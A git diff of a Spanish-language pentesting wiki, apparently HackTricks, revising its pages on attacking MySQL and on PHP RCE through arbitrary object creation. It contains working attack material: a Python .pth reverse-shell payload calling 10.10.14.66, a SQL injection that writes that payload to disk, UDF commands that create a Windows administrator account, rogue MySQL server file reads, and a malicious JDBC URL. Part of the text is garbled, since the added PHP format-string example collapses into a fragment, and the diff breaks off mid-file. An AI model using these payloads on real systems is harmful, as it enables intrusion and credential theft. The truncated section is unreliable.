diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 263637fdb..1fb3b78df 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -2,15 +2,15 @@ {{#include ../banners/hacktricks-training.md}} -## **Información Básica** +## **Información básica** -**MySQL** se puede describir como un sistema de gestión de bases de datos relacional de código abierto (**RDBMS**) que está disponible sin costo. Funciona con el **Lenguaje de Consulta Estructurado (SQL)**, lo que permite la gestión y manipulación de bases de datos. +**MySQL** puede describirse como un **Relational Database Management System (RDBMS)** de código abierto que está disponible sin coste. Funciona con el **Structured Query Language (SQL)**, permitiendo la gestión y manipulación de bases de datos. **Puerto por defecto:** 3306 ``` 3306/tcp open mysql ``` -## **Conectar** +## **Conexión** ### **Local** ```bash @@ -22,9 +22,9 @@ mysql -u root -p # A password will be asked (check someone) mysql -h -u root mysql -h -u root@localhost ``` -## Enumeración Externa +## Enumeración externa -Algunas de las acciones de enumeración requieren credenciales válidas. +Algunas de las acciones de enumeración requieren credenciales válidas ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version @@ -34,14 +34,14 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds ``` -### [**Fuerza bruta**](../generic-hacking/brute-force.md#mysql) +### [**Brute force**](../generic-hacking/brute-force.md#mysql) ### Escribir cualquier dato binario ```bash CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) ``` -## **Comandos de MySQL** +## **Comandos MySQL** ```bash show databases; use ; @@ -78,7 +78,7 @@ quit; mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` -### Enumeración de Permisos de MySQL +### Enumeración de permisos de MySQL ```sql #Mysql SHOW GRANTS [FOR user]; @@ -110,86 +110,81 @@ Puedes ver en la documentación el significado de cada privilegio: [https://dev. ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} -#### INTO OUTFILE → Python `.pth` RCE (ganchos de configuración específicos del sitio) +#### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks) -Abusando de la primitiva clásica `INTO OUTFILE`, es posible obtener *ejecución de código arbitrario* en objetivos que luego ejecutan scripts de **Python**. +Abusando del clásico `INTO OUTFILE` primitive es posible obtener *arbitrary code execution* en objetivos que posteriormente ejecutan scripts de **Python**. -1. Usa `INTO OUTFILE` para dejar caer un archivo **`.pth`** personalizado dentro de cualquier directorio cargado automáticamente por `site.py` (por ejemplo, `.../lib/python3.10/site-packages/`). -2. El archivo `.pth` puede contener una *línea única* que comience con `import ` seguida de código Python arbitrario que se ejecutará cada vez que se inicie el intérprete. -3. Cuando el intérprete es ejecutado implícitamente por un script CGI (por ejemplo, `/cgi-bin/ml-draw.py` con shebang `#!/bin/python`), la carga útil se ejecuta con los mismos privilegios que el proceso del servidor web (FortiWeb lo ejecutó como **root** → RCE completo previo a la autenticación). +1. Usa `INTO OUTFILE` para colocar un archivo personalizado **`.pth`** dentro de cualquier directorio cargado automáticamente por `site.py` (p. ej. `.../lib/python3.10/site-packages/`). +2. El archivo `.pth` puede contener una *una sola línea* que comience con `import ` seguida de código Python arbitrario que se ejecutará cada vez que el intérprete se inicie. +3. Cuando el intérprete se ejecuta implícitamente por un script CGI (por ejemplo `/cgi-bin/ml-draw.py` con shebang `#!/bin/python`), el payload se ejecuta con los mismos privilegios que el proceso del servidor web (FortiWeb lo ejecutó como **root** → full pre-auth RCE). -Ejemplo de carga útil `.pth` (línea única, no se pueden incluir espacios en la carga útil SQL final, por lo que puede ser necesario hex/`UNHEX()` o concatenación de cadenas): +Ejemplo de payload `.pth` (una sola línea, no se pueden incluir espacios en el payload SQL final, por lo que puede ser necesario hex/`UNHEX()` o concatenación de cadenas): ```python import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) ``` -Ejemplo de creación del archivo a través de una **UNION** query (los caracteres de espacio se reemplazan con `/**/` para eludir un filtro de espacio `sscanf("%128s")` y mantener la longitud total ≤128 bytes): +Ejemplo de creación del archivo mediante una consulta **UNION** (los caracteres de espacio reemplazados con `/**/` para eludir un filtro de espacios `sscanf("%128s")` y mantener la longitud total ≤128 bytes): ```sql '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' ``` -Limitaciones importantes y bypasses: +Limitaciones importantes & bypasses: -* `INTO OUTFILE` **no puede sobrescribir** archivos existentes; elige un nuevo nombre de archivo. -* La ruta del archivo se resuelve **relativa al CWD de MySQL**, por lo que prefijar con `../../` ayuda a acortar la ruta y eludir las restricciones de ruta absoluta. -* Si la entrada del atacante se extrae con `%128s` (o similar), cualquier espacio truncará la carga útil; usa secuencias de comentarios de MySQL `/**/` o `/*!*/` para reemplazar espacios. -* El usuario de MySQL que ejecuta la consulta necesita el privilegio `FILE`, pero en muchos dispositivos (por ejemplo, FortiWeb) el servicio se ejecuta como **root**, lo que otorga acceso de escritura casi en todas partes. +* `INTO OUTFILE` **no puede sobrescribir** archivos existentes; elige un nombre de archivo nuevo. +* La ruta de archivo se resuelve **relative to MySQL’s CWD**, por lo que prefijar con `../../` ayuda a acortar la ruta y eludir las restricciones de rutas absolutas. +* Si la entrada del atacante se extrae con `%128s` (o similar) cualquier espacio truncará el payload; usa las secuencias de comentario de MySQL `/**/` o `/*!*/` para reemplazar espacios. +* El usuario de MySQL que ejecuta la consulta necesita el privilegio `FILE`, pero en muchos appliances (e.g. FortiWeb) el servicio se ejecuta como **root**, dando acceso de escritura en casi cualquier lugar. -Después de eliminar el `.pth`, simplemente solicita cualquier CGI manejado por el intérprete de python para obtener ejecución de código: +Después de colocar el `.pth`, simplemente solicita cualquier CGI manejado por el intérprete de python para obtener ejecución de código: ``` GET /cgi-bin/ml-draw.py HTTP/1.1 Host: ``` -El proceso de Python importará el `.pth` malicioso automáticamente y ejecutará la carga útil de shell. +El proceso de Python importará automáticamente el `.pth` malicioso y ejecutará el shell payload. ``` # Attacker $ nc -lvnp 4444 id uid=0(root) gid=0(root) groups=0(root) ``` ---- +## MySQL arbitrary read file by client -## Lectura arbitraria de archivos por el cliente en MySQL - -En realidad, cuando intentas **cargar datos locales en una tabla** el **contenido de un archivo**, el servidor MySQL o MariaDB le pide al **cliente que lo lea** y envíe el contenido. **Entonces, si puedes manipular un cliente mysql para conectarte a tu propio servidor MySQL, puedes leer archivos arbitrarios.**\ -Por favor, ten en cuenta que este es el comportamiento al usar: +En realidad, cuando intentas **load data local into a table** con el **contenido de un archivo**, el servidor MySQL o MariaDB solicita al **cliente que lo lea** y envíe el contenido. **Entonces, si puedes manipular un mysql client para que se conecte a tu propio MySQL server, puedes leer arbitrary files.**\ +Ten en cuenta que este es el comportamiento al usar: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(Nota la palabra "local")\ -Porque sin el "local" puedes obtener: +(Nota la palabra "local")\ Porque sin "local" puedes obtener: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` **PoC inicial:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ -**En este documento puedes ver una descripción completa del ataque e incluso cómo extenderlo a RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ +**En este artículo puedes ver una descripción completa del ataque e incluso cómo ampliarlo a RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Aquí puedes encontrar una visión general del ataque:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​ - - ## POST ### Usuario de Mysql -Será muy interesante si mysql se está ejecutando como **root**: +Será muy interesante si mysql está ejecutándose como **root**: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 ``` -#### Configuraciones Peligrosas de mysqld.cnf +#### Dangerous Settings of mysqld.cnf -En la configuración de los servicios de MySQL, se emplean varias configuraciones para definir su operación y medidas de seguridad: +En la configuración de los servicios MySQL, se emplean varias opciones para definir su funcionamiento y medidas de seguridad: -- La configuración **`user`** se utiliza para designar el usuario bajo el cual se ejecutará el servicio de MySQL. +- La **`user`** setting se utiliza para designar el usuario bajo el cual se ejecutará el servicio MySQL. - **`password`** se aplica para establecer la contraseña asociada con el usuario de MySQL. -- **`admin_address`** especifica la dirección IP que escucha las conexiones TCP/IP en la interfaz de red administrativa. -- La variable **`debug`** es indicativa de las configuraciones de depuración actuales, incluyendo información sensible dentro de los registros. -- **`sql_warnings`** gestiona si se generan cadenas de información para declaraciones INSERT de una sola fila cuando surgen advertencias, conteniendo datos sensibles dentro de los registros. +- **`admin_address`** especifica la dirección IP que escucha conexiones TCP/IP en la interfaz de red administrativa. +- La variable **`debug`** es indicativa de las configuraciones de depuración presentes, incluyendo información sensible dentro de los logs. +- **`sql_warnings`** gestiona si se generan cadenas de información para sentencias INSERT de una sola fila cuando surgen warnings, conteniendo datos sensibles dentro de los logs. - Con **`secure_file_priv`**, el alcance de las operaciones de importación y exportación de datos se restringe para mejorar la seguridad. -### Escalación de privilegios +### Escalada de privilegios ```bash # Get current user (an all users) privileges and hashes use mysql; @@ -207,18 +202,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys # Get a shell (with your permissions, usefull for sudo/suid privesc) \! sh ``` -### Escalación de privilegios a través de la biblioteca +### Privilege Escalation via library -Si el **servidor mysql se está ejecutando como root** (o un usuario más privilegiado diferente), puedes hacer que ejecute comandos. Para eso, necesitas usar **funciones definidas por el usuario**. Y para crear una función definida por el usuario necesitarás una **biblioteca** para el sistema operativo que está ejecutando mysql. +Si el **mysql server is running as root** (o un usuario diferente con más privilegios) puedes hacer que ejecute comandos. Para ello necesitas usar **user defined functions**. Y para crear una user defined necesitarás una **biblioteca** para el OS que está ejecutando mysql. -La biblioteca maliciosa a utilizar se puede encontrar dentro de sqlmap y dentro de metasploit haciendo **`locate "*lib_mysqludf_sys*"`**. Los archivos **`.so`** son bibliotecas de **linux** y los **`.dll`** son los de **Windows**, elige el que necesites. +La biblioteca maliciosa que puedes usar se encuentra dentro de sqlmap y dentro de metasploit ejecutando **`locate "*lib_mysqludf_sys*"`**. Los archivos **`.so`** son bibliotecas de **linux** y los **`.dll`** son los de **Windows**, elige la que necesites. -Si **no tienes** esas bibliotecas, puedes **buscarlas**, o descargar este [**código C para linux**](https://www.exploit-db.com/exploits/1518) y **compilarlo dentro de la máquina vulnerable de linux**: +Si **no tienes** esas bibliotecas, puedes **buscarlas**, o descargar este [**linux C code**](https://www.exploit-db.com/exploits/1518) y **compilarlo dentro de la máquina linux vulnerable**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` -Ahora que tienes la biblioteca, inicia sesión en Mysql como un usuario privilegiado (¿root?) y sigue los siguientes pasos: +Ahora que tienes la biblioteca, inicia sesión en Mysql como un usuario con privilegios (¿root?) y sigue los siguientes pasos: #### Linux ```sql @@ -252,7 +247,16 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` -### Extracción de credenciales de MySQL de archivos +#### Consejo para Windows: crear directorios con NTFS ADS desde SQL + +En NTFS puedes forzar la creación de directorios usando un alternate data stream incluso cuando solo existe una primitiva de escritura de archivos. Si la clásica UDF chain espera un directorio `plugin` pero no existe y `@@plugin_dir` es desconocido o bloqueado, puedes crearlo primero con `::$INDEX_ALLOCATION`: +```sql +SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; +-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory +``` +Esto convierte el limitado `SELECT ... INTO OUTFILE` en una primitiva más completa en Windows stacks al preparar la estructura de carpetas necesaria para los drops de UDF. + +### Extrayendo credenciales de MySQL desde archivos Dentro de _/etc/mysql/debian.cnf_ puedes encontrar la **contraseña en texto plano** del usuario **debian-sys-maint** ```bash @@ -260,15 +264,15 @@ cat /etc/mysql/debian.cnf ``` Puedes **usar estas credenciales para iniciar sesión en la base de datos mysql**. -Dentro del archivo: _/var/lib/mysql/mysql/user.MYD_ puedes encontrar **todos los hashes de los usuarios de MySQL** (los que puedes extraer de mysql.user dentro de la base de datos)_._ +Inside the file: _/var/lib/mysql/mysql/user.MYD_ puedes encontrar **todos los hashes de los usuarios de MySQL** (los que puedes extraer de mysql.user dentro de la base de datos)_._ Puedes extraerlos haciendo: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` -### Habilitando el registro +### Habilitar logging -Puedes habilitar el registro de consultas mysql dentro de `/etc/mysql/my.cnf` descomentando las siguientes líneas: +Puedes habilitar el logging de consultas de mysql dentro de `/etc/mysql/my.cnf` descomentando las siguientes líneas: ![](<../images/image (899).png>) @@ -296,7 +300,7 @@ Archivos de configuración - update.log - common.log -## Base de datos/tablas MySQL predeterminadas +## Bases de datos/tablas por defecto de MySQL {{#tabs}} {{#tab name="information_schema"}} @@ -647,36 +651,36 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -## 2023-2025 Destacados (nuevo) +## 2023-2025 Novedades (nuevas) -### Deserialización de `propertiesTransform` de JDBC (CVE-2023-21971) -Desde Connector/J <= 8.0.32, un atacante que puede influir en la **JDBC URL** (por ejemplo, en software de terceros que solicita una cadena de conexión) puede solicitar que se carguen clases arbitrarias en el lado del *cliente* a través del parámetro `propertiesTransform`. Si un gadget presente en el class-path es cargable, esto resulta en **ejecución remota de código en el contexto del cliente JDBC** (pre-autenticación, porque no se requieren credenciales válidas). Un PoC mínimo se ve así: +### JDBC `propertiesTransform` deserialization (CVE-2023-21971) +Desde Connector/J <= 8.0.32, un atacante que pueda influir en la **JDBC URL** (por ejemplo en software de terceros que solicita una cadena de conexión) puede solicitar que se carguen clases arbitrarias en el lado del *client* a través del parámetro `propertiesTransform`. Si un gadget presente en el class-path es cargable, esto resulta en **remote code execution in the context of the JDBC client** (pre-auth, porque no se requieren credenciales válidas). Un PoC mínimo se ve así: ```java jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil ``` -Ejecutar `Evil.class` puede ser tan fácil como producirlo en el class-path de la aplicación vulnerable o permitir que un servidor MySQL malicioso envíe un objeto serializado malicioso. El problema fue solucionado en Connector/J 8.0.33 – actualiza el controlador o establece explícitamente `propertiesTransform` en una lista de permitidos. -(Vea el informe de Snyk para más detalles) +Ejecutar `Evil.class` puede ser tan sencillo como colocarlo en el class-path de la aplicación vulnerable o permitir que un servidor MySQL rogue envíe un objeto serializado malicioso. El problema se solucionó en Connector/J 8.0.33: actualice el driver o configure explícitamente `propertiesTransform` en una allow-list. +(See Snyk write-up for details) -### Ataques de servidores MySQL falsos / maliciosos contra clientes JDBC -Varios herramientas de código abierto implementan un protocolo MySQL *parcial* para atacar a los clientes JDBC que se conectan externamente: +### Ataques de servidores MySQL rogue/falsos contra clientes JDBC +Varias herramientas de código abierto implementan un protocolo MySQL *parcial* para atacar clientes JDBC que realizan conexiones salientes: -* **mysql-fake-server** (Java, soporta exploits de lectura de archivos y deserialización) -* **rogue_mysql_server** (Python, capacidades similares) +* **mysql-fake-server** (Java, supports file read and deserialization exploits) +* **rogue_mysql_server** (Python, similar capabilities) -Rutas de ataque típicas: +Vectores de ataque típicos: 1. La aplicación víctima carga `mysql-connector-j` con `allowLoadLocalInfile=true` o `autoDeserialize=true`. -2. El atacante controla DNS / entrada de host para que el nombre del host de la base de datos se resuelva a una máquina bajo su control. -3. El servidor malicioso responde con paquetes manipulados que desencadenan ya sea `LOCAL INFILE` lectura arbitraria de archivos o deserialización de Java → RCE. +2. El atacante controla la entrada DNS / host para que el nombre de host de la BD resuelva a una máquina bajo su control. +3. El servidor malicioso responde con paquetes manipulados que provocan bien `LOCAL INFILE` para lectura arbitraria de archivos o Java deserialization → RCE. -Ejemplo de línea de comando para iniciar un servidor falso (Java): +Example one-liner to start a fake server (Java): ```bash java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server ``` -Luego, apunte la aplicación víctima a `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` y lea `/etc/passwd` codificando el nombre del archivo como base64 en el campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). +Después apunta la aplicación víctima a `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` y lee `/etc/passwd` codificando el nombre de archivo en base64 en el campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). ### Cracking `caching_sha2_password` hashes -MySQL ≥ 8.0 almacena los hashes de contraseñas como **`$mysql-sha2$`** (SHA-256). Tanto Hashcat (modo **21100**) como John-the-Ripper (`--format=mysql-sha2`) admiten el cracking offline desde 2023. Vuelque la columna `authentication_string` y aliméntela directamente: +MySQL ≥ 8.0 almacena los hashes de contraseña como **`$mysql-sha2$`** (SHA-256). Tanto Hashcat (mode **21100**) como John-the-Ripper (`--format=mysql-sha2`) soportan offline cracking desde 2023. Vuelca la columna `authentication_string` y aliméntala directamente: ```bash # extract hashes echo "$mysql-sha2$AABBCC…" > hashes.txt @@ -685,20 +689,23 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist # John the Ripper john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist ``` -### Lista de verificación de endurecimiento (2025) +### Checklist de hardening (2025) • Establecer **`LOCAL_INFILE=0`** y **`--secure-file-priv=/var/empty`** para eliminar la mayoría de las primitivas de lectura/escritura de archivos. -• Eliminar el privilegio **`FILE`** de las cuentas de aplicación. +• Eliminar el privilegio **`FILE`** de las cuentas de la aplicación. • En Connector/J establecer `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vacío). -• Deshabilitar los plugins de autenticación no utilizados y **requerir TLS** (`require_secure_transport = ON`). -• Monitorear `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` y declaraciones `SET GLOBAL` repentinas. +• Desactivar plugins de autenticación no usados y **requerir TLS** (`require_secure_transport = ON`). +• Vigilar sentencias `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` y sentencias `SET GLOBAL` repentinas. --- ## Referencias -- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) -- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) -- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) +- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) -- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) + + +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index 94905ecb0..a8d7c3cab 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -1,4 +1,4 @@ -# PHP - RCE abusando de la creación de objetos: new $\_GET\["a"]\($\_GET\["b"]) +# PHP - RCE abusando de la creación de objetos: new $_GET["a"]($_GET["b"]) {{#include ../../../banners/hacktricks-training.md}} @@ -6,13 +6,13 @@ Esto es básicamente un resumen de [https://swarm.ptsecurity.com/exploiting-arbi ## Introducción -La creación de nuevos objetos arbitrarios, como `new $_GET["a"]($_GET["a"])`, puede llevar a la Ejecución Remota de Código (RCE), como se detalla en un [**informe**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca varias estrategias para lograr RCE. +La creación de nuevos objetos arbitrarios, como `new $_GET["a"]($_GET["a"])`, puede conducir a Remote Code Execution (RCE), como se detalla en un [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca varias estrategias para lograr RCE. -## RCE a través de Clases Personalizadas o Autocarga +## RCE a través de clases personalizadas o autoloading -La sintaxis `new $a($b)` se utiliza para instanciar un objeto donde **`$a`** representa el nombre de la clase y **`$b`** es el primer argumento pasado al constructor. Estas variables pueden provenir de entradas de usuario como GET/POST, donde pueden ser cadenas o arreglos, o de JSON, donde podrían presentarse como otros tipos. +La sintaxis `new $a($b)` se usa para instanciar un objeto donde **`$a`** representa el nombre de la clase y **`$b`** es el primer argumento pasado al constructor. Estas variables pueden provenir de entradas de usuario como GET/POST, donde pueden ser cadenas o arrays, o de JSON, donde pueden presentarse como otros tipos. -Considera el fragmento de código a continuación: +Considere el siguiente fragmento de código: ```php class App { function __construct ($cmd) { @@ -31,9 +31,9 @@ $b = $_GET['b']; new $a($b); ``` -En este caso, establecer `$a` en `App` o `App2` y `$b` en un comando del sistema (por ejemplo, `uname -a`) resulta en la ejecución de ese comando. +En este caso, establecer `$a` a `App` o `App2` y `$b` a un comando del sistema (por ejemplo, `uname -a`) resulta en la ejecución de ese comando. -**Las funciones de autoloading** pueden ser explotadas si no hay tales clases accesibles directamente. Estas funciones cargan automáticamente clases desde archivos cuando se necesitan y se definen utilizando `spl_autoload_register` o `__autoload`: +**Funciones de auto-carga** pueden ser explotadas si tales clases no son directamente accesibles. Estas funciones cargan automáticamente clases desde archivos cuando se necesitan y se definen usando `spl_autoload_register` o `__autoload`: ```php spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; @@ -45,52 +45,76 @@ include $class_name . '.php'; spl_autoload_register(); ``` -El comportamiento de la carga automática varía con las versiones de PHP, ofreciendo diferentes posibilidades de RCE. +El comportamiento del autoloading varía según la versión de PHP, ofreciendo diferentes posibilidades de RCE. -## RCE a través de Clases Incorporadas +## RCE via Built-In Classes -Al carecer de clases personalizadas o cargadores automáticos, **las clases incorporadas de PHP** pueden ser suficientes para RCE. El número de estas clases varía entre 100 y 200, según la versión de PHP y las extensiones. Se pueden listar usando `get_declared_classes()`. +Si faltan clases personalizadas o autoloaders, las **clases integradas de PHP** pueden ser suficientes para RCE. El número de estas clases varía entre 100 y 200, según la versión de PHP y las extensiones. Pueden listarse usando `get_declared_classes()`. -Los constructores de interés se pueden identificar a través de la API de reflexión, como se muestra en el siguiente ejemplo y el enlace [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). +Los constructores de interés pueden identificarse mediante la reflection API, como se muestra en el siguiente ejemplo y en el enlace [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). -**RCE a través de métodos específicos incluye:** +**RCE via specific methods includes:** -### **SSRF + Deserialización de Phar** +### **SSRF + Phar Deserialization** La clase `SplFileObject` permite SSRF a través de su constructor, permitiendo conexiones a cualquier URL: ```php new SplFileObject('http://attacker.com/'); ``` -SSRF puede llevar a ataques de deserialización en versiones de PHP anteriores a 8.0 utilizando el protocolo Phar. +SSRF puede conducir a deserialization attacks en versiones de PHP anteriores a la 8.0 usando el protocolo Phar. -### **Explotando PDOs** +### **Exploiting PDOs** -El constructor de la clase PDO permite conexiones a bases de datos a través de cadenas DSN, lo que potencialmente habilita la creación de archivos u otras interacciones: +El constructor de la clase PDO permite conexiones a bases de datos mediante cadenas DSN, lo que potencialmente habilita la creación de archivos u otras interacciones: ```php new PDO("sqlite:/tmp/test.txt") ``` ### **SoapClient/SimpleXMLElement XXE** -Las versiones de PHP hasta 5.3.22 y 5.4.12 eran susceptibles a ataques XXE a través de los constructores `SoapClient` y `SimpleXMLElement`, dependiendo de la versión de libxml2. +Versiones de PHP hasta 5.3.22 y 5.4.12 eran susceptibles a ataques XXE a través de los constructores de `SoapClient` y `SimpleXMLElement`, dependiendo de la versión de libxml2. -## RCE a través de la extensión Imagick +## RCE vía la extensión Imagick -En el análisis de las **dependencias de un proyecto**, se descubrió que **Imagick** podría ser aprovechado para **ejecución de comandos** al instanciar nuevos objetos. Esto presenta una oportunidad para explotar vulnerabilidades. +En el análisis de las dependencias de un **proyecto**, se descubrió que **Imagick** podía aprovecharse para **ejecución de comandos** al instanciar nuevos objetos. Esto presenta una oportunidad para explotar vulnerabilidades. -### Analizador VID +### VID parser -Se identificó la capacidad del analizador VID de escribir contenido en cualquier ruta especificada en el sistema de archivos. Esto podría llevar a la colocación de un shell PHP en un directorio accesible por la web, logrando Ejecución Remota de Código (RCE). +Se identificó la capacidad del VID parser para escribir contenido en cualquier ruta especificada del sistema de archivos. Esto podría conducir a la colocación de un PHP shell en un directorio accesible vía web, logrando Remote Code Execution (RCE). -#### Analizador VID + Carga de Archivos +#### VID Parser + File Upload -Se observa que PHP almacena temporalmente los archivos subidos en `/tmp/phpXXXXXX`. El analizador VID en Imagick, utilizando el protocolo **msl**, puede manejar comodines en las rutas de archivos, facilitando la transferencia del archivo temporal a una ubicación elegida. Este método ofrece un enfoque adicional para lograr escritura arbitraria de archivos dentro del sistema de archivos. +Se observa que PHP almacena temporalmente los archivos subidos en `/tmp/phpXXXXXX`. El VID parser en Imagick, utilizando el protocolo **msl**, puede manejar comodines en rutas de archivos, facilitando la transferencia del archivo temporal a una ubicación elegida. Este método ofrece un enfoque adicional para conseguir escritura arbitraria de archivos en el sistema de archivos. -### Caída de PHP + Fuerza Bruta +### PHP Crash + Brute Force -Un método descrito en el [**escrito original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) implica subir archivos que provocan una caída del servidor antes de su eliminación. Al forzar el nombre del archivo temporal, se vuelve posible que Imagick ejecute código PHP arbitrario. Sin embargo, se encontró que esta técnica solo era efectiva en una versión desactualizada de ImageMagick. +Un método descrito en el [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) consiste en subir archivos que provocan un crash del servidor antes de su eliminación. Mediante brute-forcing del nombre del archivo temporal, se vuelve posible que Imagick ejecute código PHP arbitrario. Sin embargo, se constató que esta técnica solo era efectiva en una versión desactualizada de ImageMagick. + +## Format-string in class-name resolution (PHP 7.0.0 Bug #71105) + +Cuando la entrada del usuario controla el nombre de la clase (p.ej., `new $_GET['model']()`), PHP 7.0.0 introdujo un bug transitorio durante la refactorización de `Throwable` en el que el motor trataba por error el nombre de la clase como una cadena de formato printf durante la resolución. Esto habilita primitivas clásicas al estilo printf dentro de PHP: leaks con `%p`, control del conteo de escritura con especificadores de ancho, y escrituras arbitrarias con `%n` sobre punteros en proceso (por ejemplo, entradas GOT en builds ELF). + +Patrón mínimo de repro vulnerable: +```php +d%$n` para lograr la sobrescritura parcial. ## Referencias - [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 7da70285c..4ae54814b 100644 --- 